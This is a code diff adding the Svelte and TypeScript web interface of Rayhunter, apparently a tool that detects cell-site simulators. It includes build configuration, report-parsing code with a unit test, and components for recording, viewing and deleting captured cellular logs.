|
||||||
|
"singleQuote": true,
|
||||||
|
"trailingComma": "none",
|
||||||
|
"printWidth": 100,
|
||||||
|
"plugins": [
|
||||||
|
"prettier-plugin-svelte"
|
||||||
|
],
|
||||||
|
"overrides": [
|
||||||
|
{
|
||||||
|
"files": "*.svelte",
|
||||||
|
"options": {
|
||||||
|
"parser": "svelte"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
import prettier from "eslint-config-prettier";
|
||||||
|
import js from '@eslint/js';
|
||||||
|
import svelte from 'eslint-plugin-svelte';
|
||||||
|
import globals from 'globals';
|
||||||
|
import ts from 'typescript-eslint';
|
||||||
|
|
||||||
|
export default ts.config(
|
||||||
|
js.configs.recommended,
|
||||||
|
...ts.configs.recommended,
|
||||||
|
...svelte.configs["flat/recommended"],
|
||||||
|
prettier,
|
||||||
|
...svelte.configs['flat/prettier'],
|
||||||
|
{
|
||||||
|
languageOptions: {
|
||||||
|
globals: {
|
||||||
|
...globals.browser,
|
||||||
|
...globals.node
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
files: ["**/*.svelte"],
|
||||||
|
|
||||||
|
languageOptions: {
|
||||||
|
parserOptions: {
|
||||||
|
parser: ts.parser
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
ignores: ["build/", ".svelte-kit/", "dist/"]
|
||||||
|
}
|
||||||
|
);
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
{
|
||||||
|
"name": "web",
|
||||||
|
"version": "0.0.1",
|
||||||
|
"type": "module",
|
||||||
|
"scripts": {
|
||||||
|
"dev": "vite dev",
|
||||||
|
"build": "vite build",
|
||||||
|
"preview": "vite preview",
|
||||||
|
"check": "svelte-kit sync && svelte-check --tsconfig ./tsconfig.json",
|
||||||
|
"check:watch": "svelte-kit sync && svelte-check --tsconfig ./tsconfig.json --watch",
|
||||||
|
"test:unit": "vitest",
|
||||||
|
"test": "npm run test:unit -- --run",
|
||||||
|
"format": "prettier --write .",
|
||||||
|
"lint": "prettier --check . && eslint ."
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@sveltejs/adapter-auto": "^3.0.0",
|
||||||
|
"@sveltejs/adapter-static": "^3.0.5",
|
||||||
|
"@sveltejs/kit": "^2.0.0",
|
||||||
|
"@sveltejs/vite-plugin-svelte": "^4.0.0",
|
||||||
|
"@types/eslint": "^9.6.0",
|
||||||
|
"autoprefixer": "^10.4.20",
|
||||||
|
"eslint": "^9.7.0",
|
||||||
|
"eslint-config-prettier": "^9.1.0",
|
||||||
|
"eslint-plugin-svelte": "^2.36.0",
|
||||||
|
"globals": "^15.0.0",
|
||||||
|
"prettier": "^3.3.2",
|
||||||
|
"prettier-plugin-svelte": "^3.2.6",
|
||||||
|
"svelte": "^5.0.0",
|
||||||
|
"svelte-check": "^4.0.0",
|
||||||
|
"tailwindcss": "^3.4.9",
|
||||||
|
"typescript": "^5.0.0",
|
||||||
|
"typescript-eslint": "^8.0.0",
|
||||||
|
"vite": "^5.0.3",
|
||||||
|
"vitest": "^2.0.4"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
export default {
|
||||||
|
plugins: {
|
||||||
|
tailwindcss: {},
|
||||||
|
autoprefixer: {}
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
@import "tailwindcss/base";
|
||||||
|
@import "tailwindcss/components";
|
||||||
|
@import "tailwindcss/utilities"
|
||||||
Vendored
+13
@@ -0,0 +1,13 @@
|
|||||||
|
// See https://svelte.dev/docs/kit/types#app
|
||||||
|
// for information about these interfaces
|
||||||
|
declare global {
|
||||||
|
namespace App {
|
||||||
|
// interface Error {}
|
||||||
|
// interface Locals {}
|
||||||
|
// interface PageData {}
|
||||||
|
// interface PageState {}
|
||||||
|
// interface Platform {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export {};
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html lang="en" data-theme="dark">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8" />
|
||||||
|
<link rel="icon" href="%sveltekit.assets%/favicon.png" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||||
|
%sveltekit.head%
|
||||||
|
</head>
|
||||||
|
<body data-sveltekit-preload-data="hover">
|
||||||
|
<div style="display: contents">%sveltekit.body%</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { EventType, parse_finished_report, Severity, type QualitativeWarning } from './analysis.svelte';
|
||||||
|
import { parse_ndjson, type NewlineDeliminatedJson } from './ndjson';
|
||||||
|
|
||||||
|
const SAMPLE_REPORT_NDJSON: NewlineDeliminatedJson = [
|
||||||
|
{ "analyzers": [{ "name": "LTE SIB 6/7 Downgrade", "description": "Tests for LTE cells broadcasting a SIB type 6 and 7 which include 2G/3G frequencies with higher priorities." }, { "name": "IMSI Provided", "description": "Tests whether the UE's IMSI was ever provided to the cell" }, { "name": "Null Cipher", "description": "Tests whether the cell suggests using a null cipher (EEA0)" }, { "name": "Example Analyzer", "description": "Always returns true, if you are seeing this you are either a developer or you are about to have problems." }] },
|
||||||
|
{ "timestamp": "2024-10-08T13:25:43.011689003-07:00", "skipped_message_reasons": ["DecodingError(UperDecodeError(Error { cause: BufferTooShort, msg: \"PerCodec:DecodeError:Requested Bits to decode 3, Remaining bits 1\", context: [] }))"], "analysis": [] },
|
||||||
|
{ "timestamp": "2024-10-08T13:25:43.480872496-07:00", "skipped_message_reasons": [], "analysis": [{ "timestamp": "2024-08-19T03:33:54.318Z", "events": [null, null, null, { "event_type": { "type": "QualitativeWarning", "severity": "Low" }, "message": "TMSI was provided to cell" }] }] },
|
||||||
|
];
|
||||||
|
|
||||||
|
describe('analysis report parsing', () => {
|
||||||
|
it('parses the example analysis', () => {
|
||||||
|
const report = parse_finished_report(SAMPLE_REPORT_NDJSON);
|
||||||
|
expect(report.metadata.analyzers).toEqual([
|
||||||
|
{
|
||||||
|
"name":"LTE SIB 6/7 Downgrade",
|
||||||
|
"description":"Tests for LTE cells broadcasting a SIB type 6 and 7 which include 2G/3G frequencies with higher priorities.",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"IMSI Provided",
|
||||||
|
"description":"Tests whether the UE's IMSI was ever provided to the cell",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"Null Cipher",
|
||||||
|
"description":"Tests whether the cell suggests using a null cipher (EEA0)",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"Example Analyzer",
|
||||||
|
"description":"Always returns true, if you are seeing this you are either a developer or you are about to have problems.",
|
||||||
|
}
|
||||||
|
]);
|
||||||
|
expect(report.rows).toHaveLength(2);
|
||||||
|
expect(report.rows[0].skipped_message_reasons).toHaveLength(1);
|
||||||
|
expect(report.rows[0].analysis).toHaveLength(0);
|
||||||
|
expect(report.rows[1].skipped_message_reasons).toHaveLength(0);
|
||||||
|
expect(report.rows[1].analysis).toHaveLength(1);
|
||||||
|
expect(report.rows[1].analysis[0].events).toHaveLength(1);
|
||||||
|
const event = report.rows[1].analysis[0].events[0];
|
||||||
|
if (event.type === EventType.Warning) {
|
||||||
|
expect(event.severity).toEqual(Severity.Low);
|
||||||
|
} else {
|
||||||
|
throw 'wrong event type';
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
import { parse_ndjson, type NewlineDeliminatedJson } from "./ndjson";
|
||||||
|
import { req } from "./utils.svelte";
|
||||||
|
|
||||||
|
export type AnalysisReport = {
|
||||||
|
metadata: ReportMetadata;
|
||||||
|
rows: AnalysisRow[];
|
||||||
|
statistics: ReportStatistics;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type ReportStatistics = {
|
||||||
|
num_warnings: number;
|
||||||
|
num_informational_logs: number;
|
||||||
|
num_skipped_packets: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export type ReportMetadata = {
|
||||||
|
analyzers: AnalyzerMetadata[];
|
||||||
|
rayhunter: RayhunterMetadata;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type RayhunterMetadata = {
|
||||||
|
rayhunter_version: string;
|
||||||
|
system_os: string;
|
||||||
|
arch: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type AnalyzerMetadata = {
|
||||||
|
name: string;
|
||||||
|
description: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type AnalysisRow = {
|
||||||
|
timestamp: Date;
|
||||||
|
skipped_message_reasons: string[];
|
||||||
|
analysis: PacketAnalysis[];
|
||||||
|
};
|
||||||
|
|
||||||
|
export type PacketAnalysis = {
|
||||||
|
timestamp: Date;
|
||||||
|
events: Event[];
|
||||||
|
};
|
||||||
|
export type Event = QualitativeWarning | InformationalEvent;
|
||||||
|
export enum EventType {
|
||||||
|
Informational,
|
||||||
|
Warning,
|
||||||
|
}
|
||||||
|
|
||||||
|
export type QualitativeWarning = {
|
||||||
|
type: EventType.Warning;
|
||||||
|
severity: Severity;
|
||||||
|
message: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
export enum Severity {
|
||||||
|
Low,
|
||||||
|
Medium,
|
||||||
|
High,
|
||||||
|
}
|
||||||
|
|
||||||
|
export type InformationalEvent = {
|
||||||
|
type: EventType.Informational;
|
||||||
|
message: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
export function parse_finished_report(report_json: NewlineDeliminatedJson): AnalysisReport {
|
||||||
|
const metadata: ReportMetadata = report_json[0]; // this can be cast directly
|
||||||
|
let num_warnings = 0;
|
||||||
|
let num_informational_logs = 0;
|
||||||
|
let num_skipped_packets = 0;
|
||||||
|
const rows: AnalysisRow[] = report_json.slice(1).map((row_json: any) => {
|
||||||
|
const analysis: PacketAnalysis[] = row_json.analysis.map((analysis_json: any) => {
|
||||||
|
const events: Event[] = analysis_json.events.map((event_json: any): Event | null => {
|
||||||
|
if (event_json === null) {
|
||||||
|
return null;
|
||||||
|
} else if (event_json.event_type === "Informational") {
|
||||||
|
num_informational_logs += 1;
|
||||||
|
return {
|
||||||
|
type: EventType.Informational,
|
||||||
|
message: event_json.message,
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
num_warnings += 1;
|
||||||
|
return {
|
||||||
|
type: EventType.Warning,
|
||||||
|
severity: event_json.severity === "High" ? Severity.High :
|
||||||
|
event_json.severity === "Medium" ? Severity.Medium : Severity.Low,
|
||||||
|
message: event_json.message,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.filter((maybe_event: Event | null) => maybe_event !== null);
|
||||||
|
return {
|
||||||
|
timestamp: analysis_json.timestamp,
|
||||||
|
events,
|
||||||
|
};
|
||||||
|
});
|
||||||
|
num_skipped_packets += row_json.skipped_message_reasons.length;
|
||||||
|
return {
|
||||||
|
timestamp: new Date(row_json.timestamp),
|
||||||
|
skipped_message_reasons: row_json.skipped_message_reasons,
|
||||||
|
analysis,
|
||||||
|
};
|
||||||
|
});
|
||||||
|
return {
|
||||||
|
statistics: {
|
||||||
|
num_informational_logs,
|
||||||
|
num_warnings,
|
||||||
|
num_skipped_packets,
|
||||||
|
},
|
||||||
|
metadata,
|
||||||
|
rows,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function get_report(name: string): Promise<AnalysisReport> {
|
||||||
|
const report_json = parse_ndjson(await req('GET', `/api/analysis-report/${name}`));
|
||||||
|
return parse_finished_report(report_json);
|
||||||
|
}
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
import { get_report, type AnalysisReport } from "./analysis.svelte";
|
||||||
|
import type { Manifest, ManifestEntry } from "./manifest.svelte";
|
||||||
|
import { req } from "./utils.svelte";
|
||||||
|
|
||||||
|
export enum AnalysisStatus {
|
||||||
|
// rayhunter is currently analyzing this entry (note that this is distinct
|
||||||
|
// from the currently-recording entry)
|
||||||
|
Running,
|
||||||
|
// this entry is queued to be analyzed
|
||||||
|
Queued,
|
||||||
|
// analysis is finished, and the new report can be accessed
|
||||||
|
Finished,
|
||||||
|
}
|
||||||
|
|
||||||
|
type AnalysisStatusJson = {
|
||||||
|
running: string | null;
|
||||||
|
queued: string[];
|
||||||
|
finished: string[];
|
||||||
|
};
|
||||||
|
|
||||||
|
export type AnalysisResult = {
|
||||||
|
name: string,
|
||||||
|
status: AnalysisStatus,
|
||||||
|
};
|
||||||
|
|
||||||
|
export class AnalysisManager {
|
||||||
|
public status: Map<string, AnalysisStatus> = new Map();
|
||||||
|
public reports: Map<string, AnalysisReport | string> = new Map();
|
||||||
|
|
||||||
|
public async run_analysis(name: string) {
|
||||||
|
await req('POST', `/api/analysis/${name}`);
|
||||||
|
this.status.set(name, AnalysisStatus.Queued);
|
||||||
|
this.reports.delete(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
public async update() {
|
||||||
|
const status: AnalysisStatusJson = JSON.parse(await req('GET', '/api/analysis'));
|
||||||
|
if (status.running) {
|
||||||
|
this.status.set(status.running, AnalysisStatus.Running);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const entry of status.queued) {
|
||||||
|
this.status.set(entry, AnalysisStatus.Queued);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const entry of status.finished) {
|
||||||
|
// if entry was already finished, nothing to do
|
||||||
|
if (this.status.get(entry) === AnalysisStatus.Finished) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.status.set(entry, AnalysisStatus.Finished);
|
||||||
|
|
||||||
|
// fetch the analysis report
|
||||||
|
this.reports.delete(entry);
|
||||||
|
get_report(entry).then(report => {
|
||||||
|
this.reports.set(entry, report);
|
||||||
|
}).catch(err => {
|
||||||
|
this.reports.set(entry, `Failed to get analysis: ${err}`);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import { AnalysisStatus } from "$lib/analysisManager.svelte";
|
||||||
|
import { EventType } from "$lib/analysis.svelte";
|
||||||
|
import type { ManifestEntry } from "$lib/manifest.svelte";
|
||||||
|
let { entry, onclick }: {
|
||||||
|
entry: ManifestEntry,
|
||||||
|
onclick: () => void,
|
||||||
|
} = $props();
|
||||||
|
|
||||||
|
let summary = $derived.by(() => {
|
||||||
|
if (entry.analysis_status === AnalysisStatus.Queued) {
|
||||||
|
return 'Queued...';
|
||||||
|
} else if (entry.analysis_status === AnalysisStatus.Running) {
|
||||||
|
return 'Running...';
|
||||||
|
} else if (entry.analysis_status === AnalysisStatus.Finished) {
|
||||||
|
if (entry.analysis_report === undefined) {
|
||||||
|
return 'Loading...';
|
||||||
|
} else if (typeof(entry.analysis_report) === 'string') {
|
||||||
|
return entry.analysis_report;
|
||||||
|
} else {
|
||||||
|
let num_warnings = 0;
|
||||||
|
for (let row of entry.analysis_report.rows) {
|
||||||
|
for (let analysis of row.analysis) {
|
||||||
|
for (let event of analysis.events) {
|
||||||
|
if (event.type === EventType.Warning) {
|
||||||
|
num_warnings += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return `${num_warnings} warnings`;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return 'Loading...';
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
let ready = $derived.by(() => {
|
||||||
|
let finished = entry.analysis_status === AnalysisStatus.Finished;
|
||||||
|
let report_available = entry.analysis_report !== undefined;
|
||||||
|
return finished && report_available;
|
||||||
|
})
|
||||||
|
|
||||||
|
let button_class = $derived(ready ? "text-blue-600 underline" : '');
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<button class={button_class} disabled={!ready} {onclick}>
|
||||||
|
{summary}
|
||||||
|
</button>
|
||||||
|
|
||||||
|
<style>
|
||||||
|
</style>
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import { AnalysisStatus } from "$lib/analysisManager.svelte";
|
||||||
|
import { EventType, type AnalyzerMetadata, type ReportMetadata, type AnalysisRow, type AnalysisReport } from "$lib/analysis.svelte";
|
||||||
|
import type { ManifestEntry } from "$lib/manifest.svelte";
|
||||||
|
let { report }: {
|
||||||
|
report: AnalysisReport,
|
||||||
|
} = $props();
|
||||||
|
|
||||||
|
const date_formatter = new Intl.DateTimeFormat(undefined, {
|
||||||
|
timeStyle: "long",
|
||||||
|
dateStyle: "short",
|
||||||
|
});
|
||||||
|
|
||||||
|
const skipped_messages: Map<string, number> = $derived.by(() => {
|
||||||
|
let map = new Map();
|
||||||
|
for (const row of report.rows) {
|
||||||
|
for (const message of row.skipped_message_reasons) {
|
||||||
|
let count = map.get(message);
|
||||||
|
if (count === undefined) {
|
||||||
|
count = 0;
|
||||||
|
}
|
||||||
|
map.set(message, count + 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return map;
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<p class="text-lg underline">Warnings and Informational Logs</p>
|
||||||
|
{#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0}
|
||||||
|
<p>Nothing to show!</p>
|
||||||
|
{:else}
|
||||||
|
<table class="table-auto text-left border">
|
||||||
|
<thead class="p-2">
|
||||||
|
<tr class="bg-gray-300">
|
||||||
|
<th scope="col">Timestamp</th>
|
||||||
|
<th scope="col">Warning</th>
|
||||||
|
<th scope="col">Severity</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
{#each report.rows as row, row_idx}
|
||||||
|
{#each row.analysis as analysis}
|
||||||
|
{@const parsed_date = new Date(analysis.timestamp)}
|
||||||
|
{#each analysis.events.filter(e => e !== null) as event}
|
||||||
|
<tr class="even:bg-gray-200 border-b">
|
||||||
|
{#if event.type === EventType.Warning}
|
||||||
|
{@const severity = ['Low', 'Medium', 'High'][event.severity]}
|
||||||
|
{@const severity_class = ['bg-red-200', 'bg-red-400', 'bg-red-600'][event.severity]}
|
||||||
|
<th class="p-2">{date_formatter.format(parsed_date)}</th>
|
||||||
|
<td class="p-2">{event.message}</td>
|
||||||
|
<td class="p-2 {severity_class}">{severity}</td>
|
||||||
|
{:else if event.type === EventType.Informational}
|
||||||
|
<th class="p-2">{date_formatter.format(parsed_date)}</th>
|
||||||
|
<td class="p-2">{event.message}</td>
|
||||||
|
<td class="p-2">Info</td>
|
||||||
|
{/if}
|
||||||
|
</tr>
|
||||||
|
{/each}
|
||||||
|
{/each}
|
||||||
|
{/each}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
{/if}
|
||||||
|
{#if report.statistics.num_skipped_packets > 0}
|
||||||
|
<p class="text-lg underline">Unparsed Messages</p>
|
||||||
|
<p>These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a problem.</p>
|
||||||
|
<table class="table-auto text-left border">
|
||||||
|
<thead class="p-2">
|
||||||
|
<tr class="bg-gray-300">
|
||||||
|
<th scope="col"># of messages affected</th>
|
||||||
|
<th scope="col">Reason/Error</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
{#each skipped_messages.entries() as [message, count]}
|
||||||
|
<tr class="even:bg-gray-200 border-b">
|
||||||
|
<td>{count}</td>
|
||||||
|
<td>{message}</td>
|
||||||
|
</tr>
|
||||||
|
{/each}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
{/if}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import { AnalysisStatus } from "$lib/analysisManager.svelte";
|
||||||
|
import { EventType, type AnalyzerMetadata, type ReportMetadata, type AnalysisRow } from "$lib/analysis.svelte";
|
||||||
|
import type { ManifestEntry } from "$lib/manifest.svelte";
|
||||||
|
import AnalysisTable from "./AnalysisTable.svelte";
|
||||||
|
let { entry }: {
|
||||||
|
entry: ManifestEntry,
|
||||||
|
} = $props();
|
||||||
|
|
||||||
|
const date_formatter = new Intl.DateTimeFormat(undefined, {
|
||||||
|
timeStyle: "long",
|
||||||
|
dateStyle: "short",
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<div class="container max-h-96 overflow-auto">
|
||||||
|
{#if entry.analysis_report === undefined}
|
||||||
|
<p>Report unavailable, try refreshing.</p>
|
||||||
|
{:else if typeof(entry.analysis_report) === 'string'}
|
||||||
|
<p>Error getting analysis report: {entry.analysis_report}</p>
|
||||||
|
{:else}
|
||||||
|
{@const metadata: ReportMetadata = entry.analysis_report.metadata}
|
||||||
|
<div class="flex flex-col pl-2 pr-10 w-full">
|
||||||
|
{#if entry.analysis_report.rows.length > 0}
|
||||||
|
<AnalysisTable report={entry.analysis_report} />
|
||||||
|
{:else}
|
||||||
|
<p>No warnings to display!</p>
|
||||||
|
{/if}
|
||||||
|
<div>
|
||||||
|
<p class="text-lg underline">Metadata</p>
|
||||||
|
{#if metadata !== undefined && metadata.rayhunter !== undefined}
|
||||||
|
<p>Analysis by Rayhunter version {metadata.rayhunter.rayhunter_version}</p>
|
||||||
|
<p><b>Device system OS:</b> {metadata.rayhunter.system_os}</p>
|
||||||
|
<p class="text-lg underline">Analyzers</p>
|
||||||
|
{#each metadata.analyzers as analyzer}
|
||||||
|
<p><b>{analyzer.name}:</b> {analyzer.description}</p>
|
||||||
|
{/each}
|
||||||
|
{:else}
|
||||||
|
<p>N/A (analysis generated by an older version of rayhunter)</p>
|
||||||
|
{/if}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{/if}
|
||||||
|
</div>
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import { req } from "$lib/utils.svelte";
|
||||||
|
import DeleteButton from "./DeleteButton.svelte";
|
||||||
|
import RecordingControls from "./RecordingControls.svelte";
|
||||||
|
let { server_is_recording }: {
|
||||||
|
server_is_recording: boolean;
|
||||||
|
} = $props();
|
||||||
|
|
||||||
|
function confirmDelete() {
|
||||||
|
if (window.confirm(`Permanently delete ALL entries?`)) {
|
||||||
|
req('POST', '/api/delete-all-recordings')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<div class="flex flex-row gap-2">
|
||||||
|
<RecordingControls {server_is_recording} />
|
||||||
|
<DeleteButton
|
||||||
|
text="Delete ALL Entries"
|
||||||
|
prompt={`Are you sure you want to delete ALL entries?`}
|
||||||
|
url={`/api/delete-all-recordings`}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import { ManifestEntry } from "$lib/manifest.svelte";
|
||||||
|
import { req } from "$lib/utils.svelte";
|
||||||
|
let { text, url, prompt }: {
|
||||||
|
text?: string,
|
||||||
|
url: string,
|
||||||
|
prompt: string,
|
||||||
|
} = $props();
|
||||||
|
|
||||||
|
function confirmDelete() {
|
||||||
|
if (window.confirm(prompt)) {
|
||||||
|
req('POST', url)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<button class="bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-md flex flex-row" onclick={confirmDelete} aria-label="delete">
|
||||||
|
<p>{text}</p>
|
||||||
|
<svg
|
||||||
|
style="width:24px;height:24px"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
>
|
||||||
|
<path
|
||||||
|
fill="white"
|
||||||
|
d="M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19Z"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
</button>
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
let { url, text }: {
|
||||||
|
url: string;
|
||||||
|
text: string;
|
||||||
|
} = $props();
|
||||||
|
|
||||||
|
function download() {
|
||||||
|
window.location.href = url;
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<button class="text-blue-600 flex flex-row underline" onclick={download}>
|
||||||
|
{text} <svg class="fill-current w-4 h-4 m-1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20">
|
||||||
|
<path d="M13 8V2H7v6H2l8 8 8-8h-5zM0 18h20v2H0v-2z"/>
|
||||||
|
</svg>
|
||||||
|
</button>
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import { Manifest, ManifestEntry } from "$lib/manifest.svelte";
|
||||||
|
import TableRow from "./ManifestTableRow.svelte";
|
||||||
|
interface Props {
|
||||||
|
entries: ManifestEntry[];
|
||||||
|
current_entry: ManifestEntry | undefined;
|
||||||
|
}
|
||||||
|
let { entries, current_entry }: Props = $props();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<table class="table-auto text-left border">
|
||||||
|
<thead class="p-2">
|
||||||
|
<tr class="bg-gray-300">
|
||||||
|
<th class='p-2' scope="col">Name</th>
|
||||||
|
<th class='p-2' scope="col">Date Started</th>
|
||||||
|
<th class='p-2' scope="col">Date of Last Message</th>
|
||||||
|
<th class='p-2' scope="col">Size (bytes)</th>
|
||||||
|
<th class='p-2' scope="col">PCAP</th>
|
||||||
|
<th class='p-2' scope="col">QMDL</th>
|
||||||
|
<th class='p-2' scope="col">Analysis</th>
|
||||||
|
<th class='p-2' scope="col">Delete</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
{#if current_entry !== undefined}
|
||||||
|
<TableRow entry={current_entry} current={true} i={0} />
|
||||||
|
{/if}
|
||||||
|
{#each entries as entry, i}
|
||||||
|
<TableRow {entry} current={false} {i} />
|
||||||
|
{/each}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import { ManifestEntry } from "$lib/manifest.svelte";
|
||||||
|
import DownloadLink from '$lib/components/DownloadLink.svelte';
|
||||||
|
import DeleteButton from "$lib/components/DeleteButton.svelte";
|
||||||
|
import AnalysisStatus from "./AnalysisStatus.svelte";
|
||||||
|
import AnalysisView from "./AnalysisView.svelte";
|
||||||
|
let { entry, current, i }: {
|
||||||
|
entry: ManifestEntry;
|
||||||
|
current: boolean;
|
||||||
|
i: number
|
||||||
|
} = $props();
|
||||||
|
|
||||||
|
// passing `undefined` as the locale uses the browser default
|
||||||
|
const date_formatter = new Intl.DateTimeFormat(undefined, {
|
||||||
|
timeStyle: "long",
|
||||||
|
dateStyle: "short",
|
||||||
|
});
|
||||||
|
let alternating_row_color = $derived(i % 2 == 0 ? "bg-white" : "bg-gray-100");
|
||||||
|
let status_row_color = $derived.by(() => {
|
||||||
|
const num_warnings = entry.get_num_warnings();
|
||||||
|
if (num_warnings !== undefined && num_warnings > 0) {
|
||||||
|
return "bg-red-100";
|
||||||
|
}
|
||||||
|
return current ? "bg-green-100" : alternating_row_color
|
||||||
|
});
|
||||||
|
let analysis_visible = $state(false);
|
||||||
|
function toggle_analysis_visibility() {
|
||||||
|
analysis_visible = !analysis_visible;
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<tr class="{status_row_color}">
|
||||||
|
<th class="font-bold p-2 bg-blue-100" scope='row'>{entry.name}</th>
|
||||||
|
<td class="p-2">{date_formatter.format(entry.start_time)}</td>
|
||||||
|
<td class="p-2">{date_formatter.format(entry.last_message_time)}</td>
|
||||||
|
<td class="p-2">{entry.qmdl_size_bytes}</td>
|
||||||
|
<td class="p-2"><DownloadLink url={entry.get_pcap_url()} text="pcap" /></td>
|
||||||
|
<td class="p-2"><DownloadLink url={entry.get_qmdl_url()} text="qmdl" /></td>
|
||||||
|
<td class="p-2"><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} /></td>
|
||||||
|
{#if current}
|
||||||
|
<td class="p-2"></td>
|
||||||
|
{:else}
|
||||||
|
<td class="p-2">
|
||||||
|
<DeleteButton
|
||||||
|
prompt={`Are you sure you want to delete entry ${entry.name}?`}
|
||||||
|
url={entry.get_delete_url()}
|
||||||
|
/>
|
||||||
|
</td>
|
||||||
|
{/if}
|
||||||
|
</tr>
|
||||||
|
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
|
||||||
|
<td class="font-bold p-2 bg-blue-100"></td>
|
||||||
|
<td class="border-t border-dashed p-2" colspan="7">
|
||||||
|
<AnalysisView {entry} />
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import { req } from "$lib/utils.svelte";
|
||||||
|
let { server_is_recording }: {
|
||||||
|
server_is_recording: boolean;
|
||||||
|
} = $props();
|
||||||
|
|
||||||
|
let client_set_recording = $state(server_is_recording);
|
||||||
|
let waiting_for_server = $derived(client_set_recording !== server_is_recording);
|
||||||
|
|
||||||
|
async function start_recording() {
|
||||||
|
await req('POST', '/api/start-recording');
|
||||||
|
client_set_recording = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function stop_recording() {
|
||||||
|
await req('POST', '/api/stop-recording');
|
||||||
|
client_set_recording = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const stop_recording_classes = "bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-md";
|
||||||
|
const start_recording_classes = "bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-md";
|
||||||
|
</script>
|
||||||
|
|
